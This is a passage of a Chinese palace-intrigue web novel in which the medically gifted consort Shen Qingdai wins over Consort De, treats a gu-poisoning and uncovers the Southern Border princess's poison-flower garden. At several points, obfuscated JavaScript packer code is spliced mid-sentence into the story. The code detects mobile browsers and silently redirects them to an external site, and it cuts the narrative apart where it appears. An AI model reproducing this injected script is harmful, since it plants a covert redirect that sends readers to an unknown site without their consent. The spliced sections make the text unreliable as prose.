“啊!你故意的!”南疆公主尖叫着跳开,裙子上沾满了绿色的鸟屎,“沈青黛!你给我等着!” “我等着呢!”沈青黛笑得眉眼弯弯。 “不过公主殿下,您裙子脏了,赶紧回去换吧,不然熏着德妃娘娘就不好了。” 南疆公主气得跺脚,带着侍女气冲冲地走了。 德妃看着沈青黛,无奈地摇摇头:“你呀,就不能消停点?” “我这不是替娘娘出气嘛!” 沈青黛吐了吐舌头,把香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823798|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 囊挂在德妃床头。 “娘娘,这香囊您一定得戴着,最近……小心点。” 德妃瞧着她一脸认真的模样,伸手拉过她的手,轻轻拍了拍。 “你这丫头,性子太直,虽说我知道你是好心,可也别总跟南疆公主对着干。她如今在宫里风头正盛,又对景翊……” 德妃故意顿了顿,观察着沈青黛的反应。 沈青黛心里“咯噔”一下,面上却立刻耷拉下肩膀,装出副委屈巴巴的样子。 “娘娘,我哪儿是故意的呀?还不是看她老针对我。” “再说了,殿下心里只有江山社稷,哪儿会在意我这么个小门小户出身的良娣?在东宫啊,我也就混口饭吃,受点气也只能忍着。” 她一边说,一边偷偷抹了把根本不存在的眼泪。 “有时候夜里睡不着,我都想着,要是能回民间卖药就好了,至少不用整天提心吊胆的。” 德妃见她这副可怜兮兮的模样,不禁心软了,拉着她的手往身边带了带:“快别这么说!” “你是景翊亲自选的良娣,又这么机灵,我还能不明白?你放心,只要我在宫里一天,就不会看着你被人欺负。” “那南疆公主,不过是仗着自己身份特殊,在这儿耀武扬威罢了。” 沈青黛心里乐开了花,面上却还是一副感动得要哭的样子。 “娘娘对我真好!可殿下他……上次我不过多说了两句那公主的不是,殿下就冷着脸让我别多管闲事。我心里委屈,也不敢说。” 她吸了吸鼻子,“要不是娘娘心疼我,我都不知道该怎么办了。” “景翊这孩子,就是嘴硬心软。”德妃叹了口气,“你别往心里去。” “那南疆公主,成天往东宫跑,送这送那的,连皇上都看出来她的心思了。可景翊是什么人?他心里有数着呢。” “你啊,以后别硬碰硬,多来我这儿坐坐,我给你撑腰!” “真的吗?娘娘!”沈青黛立刻来了精神,抓着德妃的手摇晃。 第四十五章 有德妃罩着 “那我以后天天来!对了娘娘,您说这南疆公主,她不会给殿下使什么坏心眼吧?我听说她们南疆人会巫蛊之术,万一……” 她故意压低声音,脸上露出担忧的神色。 德妃眉头也皱了起来。 “你这么一说,我心里也犯嘀咕。她送来的那只鸟,我看着就觉得不对劲。要不是你机灵,指不定闹出什么事来。” 她拍了拍沈青黛的手背,“你配的那些药啊香的,都给我多备点。我瞧着,最近宫里是要不安生了。” “娘娘放心!我明天就给您送十盒安神香膏来!” 沈青黛眼睛亮晶晶的,“还有防蚊虫的、提神醒脑的,我那儿应有尽有!不过……” 她突然又垂下头,“就是不知道殿下会不会说我瞎折腾,浪费宫里的银子。” “他敢!”德妃哼了一声,“你这是为宫里着想,谁敢说闲话?回头我去跟他说!” 她拉着沈青黛的手,语重心长道,“青黛啊,在这宫里,就得学着藏锋芒。你有本事是好事,但别太露在外面。” “那南疆公主既然对景翊有意思,保不准会把你当成眼中钉。以后做事,多留个心眼。” 沈青黛连连点头:“娘娘说得对!我就是脑子一热,以后一定改!不过……” 她凑近德妃,压低声音。 “娘娘,您说那公主这么积极,该不会是有什么阴谋吧?我听说啊,她老家那边的部落,一直对咱们大胤虎视眈眈呢。” 德妃脸色微微一变,往四周看了看,小声道:“这话可别乱说!” “不过你说得也有道理,她突然来京城,又这么主动,确实可疑。这样,你平时多留意着点,有什么风吹草动,第一时间来告诉我。” “好嘞!娘娘就放心吧!”沈青黛拍着胸脯保证。 “我别的本事没有,打听消息、配药解毒最在行了!” “对了娘娘,您晚上睡觉前,一定要把门窗关好,再点上我给您的驱蚊香,可别着了别人的道!” 德妃见她一脸郑重的模样,忍不住笑着捏了捏她的脸:“就你鬼点子多。不过你这份心,本宫记下了。” 沈青黛嘿嘿一笑,突然凑近德妃,压低声音说:“娘娘,其实我还有个宝贝没拿出来呢!” 说着,她从袖兜里掏出个小布包,神神秘秘地打开,里面是张泛黄的纸。 “这是我家祖传的生子秘方,专门给身子弱、难有身孕的妇人用的!我瞧着娘娘您……” 她顿了顿,目光落在德妃略显憔悴的脸上。 “要是您想给皇家开枝散叶,这方子或许能派上用场!” 德妃的脸色瞬间变了,下意识地抓住沈青黛的手腕:“你说的可是真的?这秘方……真能管用?” “我哪儿敢骗娘娘啊!”沈青黛信誓旦旦地说,“我奶奶当年就是用这个方子,才怀上我爹的。” “不过这方子要想见效,还得皇上配合才行。” “娘娘您得想办法让皇上多来您这儿坐坐,再按方子上的法子调养身子,保准用不了多久,就能传出好消息!” 德妃的眼睛亮得吓人,紧紧攥着那张纸,声音都有些发颤。 “青黛,你要是真能帮本宫这个忙……只要我能怀上龙嗣,将来一定重重赏你!要什么有什么!” “娘娘严重了!”沈青黛赶紧摆摆手。 “我这也是为了皇家血脉着想。再说了,要是娘娘真生了小皇子,我以后也能跟着沾光不是?” 她笑嘻嘻地说,“不过这事儿还得偷偷来,要是让南疆公主那帮人知道了,指不定又要使坏。” “你说得对!”德妃立刻把秘方收进袖中,神色严肃起来。 “这事儿天知地知,你知我知。谁要是敢走漏半点风声,本宫饶不了他!” 她拉着沈青黛的手,语气难得温柔。 “青黛,从今日起,你就跟我亲妹妹似的。以后有什么难处,尽管开口!” 沈青黛心里乐开了花,面上却感动得眼眶发红:“娘娘对我这么好,我都不知道该怎么报答了!您放心,我一定 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春桃吓了一跳:“主子,您真把秘方给娘娘了?万一不管用……” “放心吧!”沈青黛胸有成竹地摆摆手。 “那方子我改良过,加了几味补气血的药材,只要按时服用,肯定有用!” “再说了,就算一时半会儿没动静,德妃娘娘也只会觉得是自己身子的问题,不会怀疑到我头上。” 她狡黠地眨眨眼,“而且啊,有了德妃娘娘这个靠山,南疆公主想动我,可得掂量掂量了!” 正说着,外头突然传来一阵脚步声。 沈青黛赶紧收敛起笑容,摆出一副端庄的样子。 就见萧景翊掀帘子走了进来,身后还跟着个捧着食盒的小太监。 “殿下万安!”沈青黛福了福身,心里却直打鼓:不会这么倒霉吧?刚把秘方给德妃,殿下就知道了? 第四十六章 少耍小聪明 萧景翊看了她一眼,示意小太监把食盒放下:“听说你今天去德妃宫里了?” “是……”沈青黛硬着头皮回答,“给娘娘送香膏去了。娘娘最近睡眠不好,我就……” “以后少耍小聪明。”萧景翊打断她的话,语气却没什么责备的意思。 “德妃娘娘心善,但性子太软。你别总撺掇她对付南疆公主,免得惹麻烦。” 沈青黛心里嘀咕:我这哪儿是撺掇啊,分明是在帮她! 她嘴上却乖巧地说:“知道了殿下,我就是跟娘娘聊聊天。对了,这食盒里是什么?” 她赶紧转移话题,掀开食盒一看,眼睛瞬间亮了——里面是她最爱吃的桃花酥! “御膳房新做的点心,尝尝。” 萧景翊看着她亮晶晶的眼睛,不自觉地放柔了语气,“不过别吃太多,晚上还要用膳。” “遵命!”沈青黛抓起一块桃花酥塞进嘴里,含糊不清地开口。 “殿下最好了!比那南疆公主强一万倍!她送的东西指不定都有毒,还是殿下送的点心最合我心意!” 萧景翊被她逗笑了,伸手轻轻敲了敲她的脑袋。 “就你嘴甜。行了,我还有事,你早些休息。” 说完,转身离开了。 沈青黛望着他的背影,咬着桃花酥傻笑。 春桃在一旁看得直摇头:“主子,您怎么一见到殿下就跟变了个人似的?” “去去去!”沈青黛红着脸把春桃推开。 “我这叫……这叫正常反应!对了,你去把花戎叫来,我要再配点药。德妃娘娘那边得好好护着,可不能出半点差错!” 春桃刚转身,沈青黛就风风火火地往德妃宫里赶。 路过御花园时,忽听得假山后头传来阵阵叹息声。 她好奇心作祟,扒着石头一瞧,竟是太医院新来的小太医周明远,正蹲在地上对着药箱唉声叹气。 “周太医,蹲这儿孵蛋呢?”沈青黛笑嘻嘻地凑过去,吓了小太医一跳。 周明远抬头见是她,苦着脸作揖。 “沈良娣,您可算来了!容嫔娘娘已经三日不思饮食,我开了三剂开胃药都不管用,再这样下去……” 他急得眼眶发红,“太医院上下都说我是庸医,这要是传出去,我怕是要被赶出宫了!” 沈青黛蹲下来,翻了翻他的药箱,全是山楂、麦芽之类的寻常药材,撇嘴道:“这些药对付积食还行,容嫔娘娘怕是另有隐情。走,带我去瞧瞧!” 两人一路小跑赶到容嫔宫里。 刚进门,就见容嫔斜倚在榻上,脸色蜡黄,见了人也只是轻轻抬眼,有气无力道:“又是来劝本宫吃药的?拿走吧,闻着就恶心。” 沈青黛没急着说话,先是绕着屋子转了一圈。 窗台上摆着几盆枯萎的兰花,墙角的香炉里飘出淡淡沉香味,却隐隐夹杂着一丝腥气。 她心里一动,突然凑近容嫔,猛地掀开她的衣袖——雪白肌肤上,赫然爬着几道暗紫色的抓痕! “这是怎么弄的?”沈青黛厉声问。 容嫔猛地缩回手,声音发颤:“不、不用你管!” 沈青黛转头瞪向周明远:“你诊脉时没发现娘娘身上有伤?”小太医吓得直哆嗦:“娘娘不让我近身……” “糊涂!”沈青黛掏出银针在火上烤了烤。 “容嫔娘娘这不是胃口不好,是中了‘噬魂蛊’!那些抓痕是蛊虫在体内乱窜留下的!” 她转头安抚容嫔,“娘娘莫怕,我有法子。不过得先知道,这蛊是从哪儿来的?” 容嫔咬着嘴唇,眼泪扑簌簌往下掉:“三日前……南疆公主来送了盒香料,说是能安神……” 沈青黛一拍桌子:“果然是她!” 转头对周明远说:“快去太医院取三钱雄黄、五片薄荷叶,再找个陶罐来!” 小太医跑得比兔子还快。 沈青黛则从袖中掏出个小瓷瓶,倒出些淡绿色粉末撒在地上。 不一会儿,几只米粒大小的黑虫从容嫔袖口爬出,在粉末上挣扎着不动了。 “这些蛊虫喜阴畏寒,雄黄能逼它们现身。” 沈青黛解释道,转头又对容嫔叮嘱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“知道啦知道啦!”沈青黛见他语气松动,立刻狗腿地给他捶肩。 “殿下您最好了,就知道不会真生我的气!对了,您还没吃饭吧?我让厨房给您做您最爱吃的糖醋排骨!” 第四十七章 诡异的后院 萧景翊被她按得肩膀生疼,偏头躲开她扑棱的手:“松手,成何体统。” 话虽这么说,耳根却悄悄红了,“御膳房刚送了银丝卷,你留着自己吃。” “殿下不吃我吃有啥意思?”沈青黛绕到他面前,眼睛亮晶晶的。 “咱们一起吃!我还能给您表演边吃边背《千金方》!上次花戎考我药材相克,我全答上来了!” 萧景翊终于绷不住笑了,抬手弹了下她额头:“又在胡吹。” 可任由她拽着袖口往膳厅走。 春桃早得了眼色,一溜烟跑去厨房传话,不一会儿,糖醋排骨的酸甜味就飘满了院子。 沈青黛夹起块裹着琥珀色糖汁的排骨,在萧景翊眼前晃悠。 “殿下您看,这色泽,这香气,隔壁小孩都馋哭了!” 见他张嘴咬了一口,立刻星星眼追问,“怎么样怎么样?比御膳房的还好吃吧?” “勉强及格。” 萧景翊慢条斯理擦着嘴角,心里却默默给厨房掌勺的太监记了一功。 自从沈青黛来了,东宫的菜色明显甜了几分。 正吃着,沈青黛突然放下筷子,神神秘秘凑过来:“殿下,我跟您说个事儿。” 她压低声音,“春桃养的那只芦花鸡,昨天下了双黄蛋!我偷偷藏起来了,今晚给您煮糖水荷包蛋!” 萧景翊差点被米饭呛到:“你身为良娣,偷宫女的鸡蛋?” “这怎么能叫偷呢!”沈青黛理直气壮,“春桃说了,鸡是我喂大的,蛋自然也算我的!” 她一边说一边往萧景翊碗里夹菜,完全没注意到对方忍笑忍得肩膀直抖。 刚用完饭,沈青黛就惦记起了另一桩事。 她随便找了个借口,风风火火地换了身便服,揣上花戎给的驱虫香囊,偷偷溜出了皇宫。 南疆公主柳如烟在京城的落脚点,早被她打听得一清二楚。 行宫外守着两个丫鬟,见她一身粗布衣裳,立刻横眉竖眼:“哪儿来的野丫头?这是你能闯的地方?” 沈青黛掏出东宫腰牌晃了晃,挑眉道:“睁大你们的狗眼看看,我是东宫沈良娣。” 两个丫鬟脸色瞬间变得比翻书还快,点头哈腰地把她往里请:“原来是良娣娘娘!您怎么不早说,快快请进!” 穿过九曲回廊,沈青黛刚走到前厅,就闻到一股奇怪的香味。 那香味甜腻中带着一丝腥气,像是把烂果子和香料混在了一起,闻得她直皱眉头。 柳如烟从内室走出来,看见沈青黛时明显愣了一下,但很快换上了笑脸。 “不知良娣妹妹今日怎么有空来我这儿?” “我就是想来和姐姐说说话!”沈青黛一屁股坐下,眼睛却滴溜溜地四处乱转。 “哎呀,姐姐这儿的香味好特别啊,是从哪儿来的?我在宫里都没闻过呢!” 柳如烟眼神一闪,笑道:“不过是些南疆的寻常香料罢了。妹妹若是喜欢,改日我送你两盒。” “真的吗?那太好了!”沈青黛拍着手,突然拉住柳如烟的手。 “其实我一见到姐姐,就觉得特别亲切!咱们这么投缘,姐姐能不能带我逛逛行宫?我还想听听,姐姐在南疆的故事呢!” 她眨了眨眼,又补上一句,“还有……关于太子殿下的事,我也想听姐姐说说!” 柳如烟的笑容僵了僵,很快又恢复如常:“妹妹既然想听,我自然乐意。不过这行宫太大,怕是一时半会儿逛不完。” “没关系!”沈青黛站起身,拉着柳如烟就往外走,“咱们先从后院逛起!我刚才就闻到,后院的香味最浓了!” 柳如烟拗不过她,只好陪着她往后院走。 越往后走,那股异香越重。 沈青黛悄悄摸了摸袖中的驱虫香囊,心里暗自警惕。 后院是一片竹林,林中有间紧锁的小屋。 沈青黛装作好奇地凑过去:“姐姐,这屋里藏着什么宝贝?怎么还上了锁?” “不过是些杂物罢了,没什么好看的。”柳如烟的语气明显冷了下来,“妹妹还是看看别处吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837779|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “好吧……”沈青黛撇了撇嘴,突然指着竹林深处喊道,“姐姐你看!那是不是一只受伤的小鹿?” 柳如烟下意识转头去看,沈青黛趁机掏出一根银针,快速**小屋的门缝里。 等她拔出银针时,针尖已经变成了黑色。 “果然有问题!”沈青黛在心里嘀咕,脸上却露出惋惜的表情,“哎呀,小鹿跑了!” 她转头冲柳如烟笑道,“姐姐,你还没跟我说,你第一次见到太子殿下是什么感觉呢?” 柳如烟的脸色阴晴不定,勉强笑道:“不过是寻常见面罢了,没什么特别的。” “我不信!”沈青黛凑过去,“姐姐每次见到殿下,眼神都不一样!是不是……”她故意压低声音,“姐姐喜欢殿下?” 柳如烟的脸色瞬间变得惨白,猛地甩开她的手:“沈青黛,你不要太过分!”可指尖微微颤抖,泄露了她的慌乱。 “我不过是开个玩笑,姐姐怎么生气了?”沈青黛捂着被甩开的手腕,装出委屈巴巴的样子。 “我还以为姐姐跟我一样,心里藏着个人,好不容易遇到能说体己话的,才……” 她声音越说越小,眼眶也跟着泛红。 柳如烟盯着她的表情,眼神逐渐缓和。 沉默片刻,她突然冷笑一声:“既然妹妹这么好奇,随我去后院看看吧。” 说着转身就走,裙摆扫过青石板发出“沙沙”声。 沈青黛心里一紧,赶紧跟上。 穿过竹林时,那股奇怪的甜腻腥气愈发浓烈,熏得人脑袋发懵。 转过弯,眼前的景象让她差点叫出声。 整片后院竟是密密麻麻的**花田!嫣红的花瓣在风中摇曳,更让她心惊的是,不少植株顶部已经空空如也,显然是被采摘过。 “这……这是?”沈青黛咽了咽口水,偷偷摸向袖中的驱虫香囊。 柳如烟伸手轻抚过花瓣,嘴角挂着诡异的笑:“在南疆,**花叫‘忘忧草’,晒干磨粉能让人忘记烦恼,也能……” 第四十八章 这是命令 她突然凑近沈青黛,呼出的气息带着股怪味,“让人永远睡过去。妹妹想试试吗?” 沈青黛强装镇定地后退半步:“姐姐别吓唬我!我听说这花……”话没说完就被柳如烟打断。 “你听说的都是中原人的偏见!”柳如烟猛地站直,眼神狂热,“在我们南疆,巫医会用它救人。太子殿下……” 她顿了顿,语气突然变得温柔,“他总爱皱眉,要是用上这花,说不定能睡得安稳些。” 沈青黛心里“咯噔”一下,原来柳如烟打的是这个主意!表面献殷勤,实则想用**害人。 她故意做出崇拜的表情:“姐姐好细心!不过这么珍贵的花,采摘后要怎么保存啊?” 柳如烟警惕地看了她一眼,指了指角落的石屋:“自然是晒干磨粉,再用特制的陶罐封存。妹妹问这么多,莫不是怀疑我?” “怎么会!”沈青黛立刻摆摆手,“我就是觉得姐姐对殿下一片真心,连我都感动了!” 她眼珠一转,故意叹了口气,“可惜我没姐姐这份心思,只会给殿下闯祸。” 这话成功让柳如烟放松了警惕。 她转身走向石屋,边走边说:“你要是真为殿下好,就少在他面前惹事。这花的事,你要是敢说出去……” 她突然回头,眼神阴鸷,“我会让你尝尝被千虫噬咬的滋味。” 沈青黛缩着脖子,做出害怕的样子,心里却在疯狂吐槽。 威胁人也不换个新鲜点的词! 表面上唯唯诺诺地点头,眼睛却滴溜溜地在柳如烟身上打转。 奇怪,之前明明看到她戴着墨绿色玉佩,上面刻着疑似“赤练噬心莲”的图腾,怎么今天连个影子都没见着? 难不成藏起来了? 带着一肚子疑惑,沈青黛被“礼送”出行宫。 她刚拐过街角,立刻猫腰躲进巷子,从袖兜里掏出个小瓷瓶,把刚才在石屋偷偷刮下来的褐色粉末倒进去。 “小样儿,还想拿毒粉害殿下,等我回去就给你曝光!” 她对着瓶子嘟囔了一句,刚想直起身子,突然瞥见墙头闪过一道黑影。 沈青黛心里“咯噔”一下,伸手摸向腰间的银针。 还没等她反应过来,黑影已经落在她面前,是个蒙着黑巾的男人。 “沈姑娘好胆量。”黑衣人声音沙哑,像砂纸磨过石板,“一个人闯南疆公主的地盘,就不怕有去无回?” 嗯?这声音……可不就是上次那个黑衣人嘛! 沈青黛眨眨眼,突然换上笑脸。 “哟,这位大哥,您这是劫财还是劫色?我可告诉您,我身上就几文铜板,要是劫色……” 她故意上下打量对方,“您先把脸露出来,长得帅我就从了!” 黑衣人显然被噎了一下,沉默两秒才说:“柳如烟打算杀你。” 这话让沈青黛收起了玩笑的心思,挑眉道:“我也这么觉得。不过她想杀我,您却来通风报信,图啥?难不成您是我失散多年的亲哥?” “别装傻。”黑衣人往前逼近一步。 “你今日在她后院,看到**田了吧?柳如烟以为你好对付,却不知你精通药理、擅长用毒,真动起手来,鹿死谁手还不一定。” 沈青黛心里一惊,面上却还撑着:“我就是个普通良娣,哪儿懂这些?大哥您认错人了吧?” “沈姑娘,没必要在我面前演戏。” 黑衣人从袖中掏出枚玉佩,在她眼前晃了晃——正是沈青黛心心念念的墨绿色玉佩,上面刻着扭曲的 蛇盘莲花图腾!“你一直在查这图腾的来历,也知道柳如烟的**不简单。” 沈青黛眼睛都直了,伸手就想去抢玉佩,却被黑衣人轻松躲开。 “这玉佩哪儿来的?”她急得跺脚,“柳如烟今天没戴,是不是被你偷了?” “这不是重点。”黑衣人把玉佩收起来,语气严肃,“柳如烟接到命令,要在三日内解决你。但我劝你跟她合作。” “合作?”沈青黛像被踩了尾巴的猫,“她想杀我,我还上赶着跟她合作?大哥,您怕不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837780|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被毒烟熏傻了?” “她背后的势力你惹不起。”黑衣人顿了顿,“而且,你想不想知道,这玉佩背后藏着怎样的秘密?” 沈青黛刚要反驳,突然想起花戎说过,南疆巫主一脉的秘辛能牵扯出惊天阴谋。 她咬了咬牙,问:“怎么合作?” “假意投诚。”黑衣人说,“柳如烟需要你的用毒本事,你就顺着她的意思,先保住性命。等时机成熟……” 他没说完,却意味深长地看了沈青黛一眼。 与此同时,行宫内的柳如烟正把茶杯摔得粉碎。 “沈青黛那个**!真以为我看不出来她在套话?” 她踩着满地瓷片来回踱步,眼神阴狠,“明日就送她一份‘大礼’,让她永远闭嘴!” “不可。”一个声音突然从阴影里传来。 另一个黑衣人缓缓现身,腰间同样挂着刻有图腾的玉佩。 “沈青黛能独自找到后院,还敢跟你正面交锋,绝非等闲之辈。上头有令,必须拉拢她。” 柳如烟冷笑:“拉拢?她知道了我的秘密,留着就是个祸患!” “她的用毒本事连花戎都称赞,你若杀了她,谁帮你炼制‘忘忧散’?” 黑衣人语气冰冷,“这是命令。三日内,必须让她‘心甘情愿’为我们做事。” 柳如烟攥紧拳头,指甲几乎掐进掌心。 “好,我倒要看看,她能翻出什么浪花!”她眼中闪过一丝阴鸷,“不过若是她不识抬举……” “没有若是。”黑衣人转身消失在夜色里,“你最好别让上头失望。” 柳如烟盯着空荡荡的屋子,突然抓起桌上的铜镜狠狠砸向墙壁。 镜面碎裂的瞬间,她勾起嘴角,露出一抹狞笑:“沈青黛,既然不能杀你,那就让你成为我手里最锋利的刀!” 夜色渐浓,沈青黛脚步匆匆,拐过几条巷子后,一头扎进花戎的药铺。 门“吱呀”一声推开,惊得正在捣药的花戎手一抖,差点把药杵砸在脚上。 第四十九章 用在战场上 “我的姑奶奶!”花戎看清来人,松了口气,“你怎么这时候来了?不是去柳如烟那儿了吗?没出什么事吧?” “出事?我看是她要出事了!”沈青黛一屁股坐在凳子上,端起桌上的凉茶一饮而尽。 “老戎,你猜我在她后院瞧见了啥?整整一片**花田!好多都被采摘了,估摸着正在屋里制毒呢!” 花戎的脸“唰”地白了:“你说真的?这玩意儿在中原可是**,她胆子也太大了!” 说着,他赶紧跑到门口,左右张望了一番,确认没人后才关紧门。 “可不是!”沈青黛从袖兜里掏出小瓷瓶,“我还顺了点粉末出来,你快看看是不是‘忘忧散’。” 花戎接过瓷瓶,用银针蘸了些粉末,又拿出瓶瓶罐罐开始捣鼓。 没一会儿,银针果然泛起诡异的青黑色。 “是‘忘忧散’!”他神色凝重。 “这玩意儿少量服用能让人嗜睡,量大了直接要人命,而且死状跟暴毙一模一样,最适合用来……” 花戎突然顿住,喉结滚动了一下,压低声音说,“最适合用来暗杀!若是掺进食水里,连太医院的太医都很难查出死因。” 沈青黛倒抽一口凉气,后知后觉地摸了摸脖子。 “好险!幸亏我跑得快,不然指不定也被她当成试药的了!” 她突然想起什么,猛地一拍大腿。 “不对!老戎,你说这‘忘忧散’要是用在战场上会咋样?” 花戎的脸色更难看了:“你是说……”他走到窗边,把缝隙又关紧了些。 “这东西磨成细粉,混在箭头上,或者趁着风大的时候点燃,方圆十里的人吸入后都会四肢发软、意识模糊。” “南疆部落要是掌握了这个,打起仗来……” 他不敢再说下去。 沈青黛咬着嘴唇,眼神里闪过一丝狠厉。 “柳如烟藏得够深啊!表面上是来和亲的公主,背地里搞这么大的阴谋。种**、制毒粉,还想对殿下下手……” 她突然眼睛一亮。 “等等!我今天去,她身上没戴那个刻着奇怪图腾的玉佩!说不定那玉佩就跟制毒的事儿有关!” 花戎摇摇头:“这事儿太复杂了,咱们得赶紧告诉太子殿下。柳如烟背后肯定有一伙人,就怕他们……” “先别急!”沈青黛从怀里掏出个油纸包。 “你看!我给你配的新药!上次见你咳嗽得厉害,加了润肺的金线莲和止咳的川贝母,还放了点甜甜的甘草,保证不苦!” 花戎看着油纸包,又好气又好笑:“都什么时候了,你还有心思配药?” 话虽这么说,他还是小心翼翼地接过来,放进抽屉里,“不过……谢谢你,沈姑娘。” “跟我客气啥!”沈青黛摆摆手。 “对了,我还想拿几味药材,配点能解‘忘忧散’的解药。万一柳如烟那毒粉用出去了,咱们也有个准备。” “行,跟我去药房。”花戎带着她穿过一道暗门,又下了几级台阶。 沈青黛原以为就是个普通药房,结果门一推开,她直接瞪大了眼睛。 这哪儿是药房,分明是个地下宝库! 只见密密麻麻的架子上摆满了瓶瓶罐罐,墙上挂着晒干的草药,角落里还堆着几捆她见都没见过的奇怪植物。 有的瓶子里泡着不知名的毒虫,有的盒子里装着闪着荧光的粉末,整个屋子弥漫着一股混合着草药香和古怪气味的气息。 “老戎!你这小药铺看着破破烂烂的,里面居然藏着这么多宝贝?” 沈青黛像只好奇的小老鼠,东瞅瞅西摸摸。 “这是什么?会发光的石头?还有这个,长得跟人参似的,怎么有六个脑袋?” 花戎无奈地笑了笑:“这些都是这些年四处搜集的珍稀药材。” “有些是从深山老林里采的,有些是用祖传秘方跟人换来的。像你说的六头参,是极北之地的‘六转还魂参’,能吊住将死之人的一口气。” 沈青黛眼睛亮晶晶的,突然指着架子上一个黑陶罐。 “那个!我要那个罐子里的东西!闻着臭臭的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841264|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是不是龙涎香?” “是龙涎香,但不能直接用。”花戎取下陶罐。 “得配上雪莲花和千年茯苓,才能中和它的毒性。你要解‘忘忧散’,还得加上……” 他一边说,一边手脚麻利地开始配药。 从这个架子抓一把草药,从那个盒子舀一勺粉末,看得沈青黛眼花缭乱。 “老戎,你太厉害了!我感觉你比太医院那帮老头子强多了!”沈青黛由衷地竖起大拇指。 花戎笑了笑,把配好的药材包好递给她:“别捧我了,赶紧回去吧。柳如烟那边的事儿拖得越久越危险。” “知道啦!”沈青黛刚把药材塞进怀里,外头突然传来“咚咚咚”的敲门声,惊得梁上的药包都晃了晃。 花戎脸色瞬间变了,伸手把沈青黛往药房深处推:“你先挑着,我去看看!” 沈青黛猫着腰躲进药柜后头,透过缝隙瞧见花戎攥着门把手,深吸一口气才打开门。 门外站着个瘦高个,头戴斗笠、身披黑袍,瞧着像个赶考的书生。 可等那人开口,沈青黛差点叫出声——这尖细的嗓音,分明就是柳如烟身边的侍女! 她死死捂住嘴,大气都不敢出。 只见花戎堆起笑脸:“这位客官,您是抓药还是问诊?” “抓药。”黑袍人掏出张单子拍在桌上,“照着上面抓,少一味都不行。” 沈青黛眯着眼,瞧见单子上写着曼陀罗、乌头等剧**材,心瞬间提到了嗓子眼。 花戎接过单子时,指尖不易察觉地颤了颤,却还是笑呵呵道:“客官稍等,这就给您配。” 配药时,花戎时不时抬头瞟黑袍人,两人目光相撞的瞬间,黑袍人突然咳嗽一声。 沈青黛心里“咯噔”一下,总觉得这眼神交流藏着猫腻。 等花戎包好药,黑袍人扔下银子就走,连找零都不要。 直到脚步声彻底消失,沈青黛才从柜子里钻出来。 “老戎!来的明明是个女的,就是柳如烟身边那个侍女!你怎么不拆穿她?” 第五十章 难道看错了 花戎却摇摇头,神色凝重:“那就是个男子,你肯定看错了。” “我怎么可能看错?”沈青黛急得直跺脚,“她一开口我就听出来了,那声音我化成灰都认得!” “沈姑娘,这药单上的药材……”花戎举起单子,“都是用来制毒的。不管来的是谁,咱们都不能轻举妄动。” 沈青黛盯着那些剧**材,咬了咬牙:“不行!我得去确认!”说着,她冲出门,朝着黑袍人消失的方向追去。 夜色浓稠如墨,街道上空无一人。 沈青黛跑了两条街,终于瞧见拐角处闪过一抹黑影。 她屏住呼吸,悄悄跟上去。 只见那人停在一盏灯笼下,抬手整理斗笠。 昏黄的灯光里,露出的分明是棱角分明的下颌和喉结! “怎……怎么会?”沈青黛揉了揉眼睛。 难道真的是自己听错了? 可那声音,那语气,分明和柳如烟的侍女一模一样! 正犹豫时,黑袍人突然转身,朝着她的方向看来。 沈青黛吓得一缩脖子,躲进旁边的巷子里。 等她再探出头,那人已经不见了踪影。 夜风卷着几片枯叶掠过脚边,她忍不住打了个寒颤,总觉得有双眼睛还在暗处盯着自己。 匆匆跑回东宫,春桃见她满头大汗的样子,吓得差点打翻手里的水盆:“我的小祖宗!您这是去哪儿疯了?殿下刚派人来问您的行踪呢!” 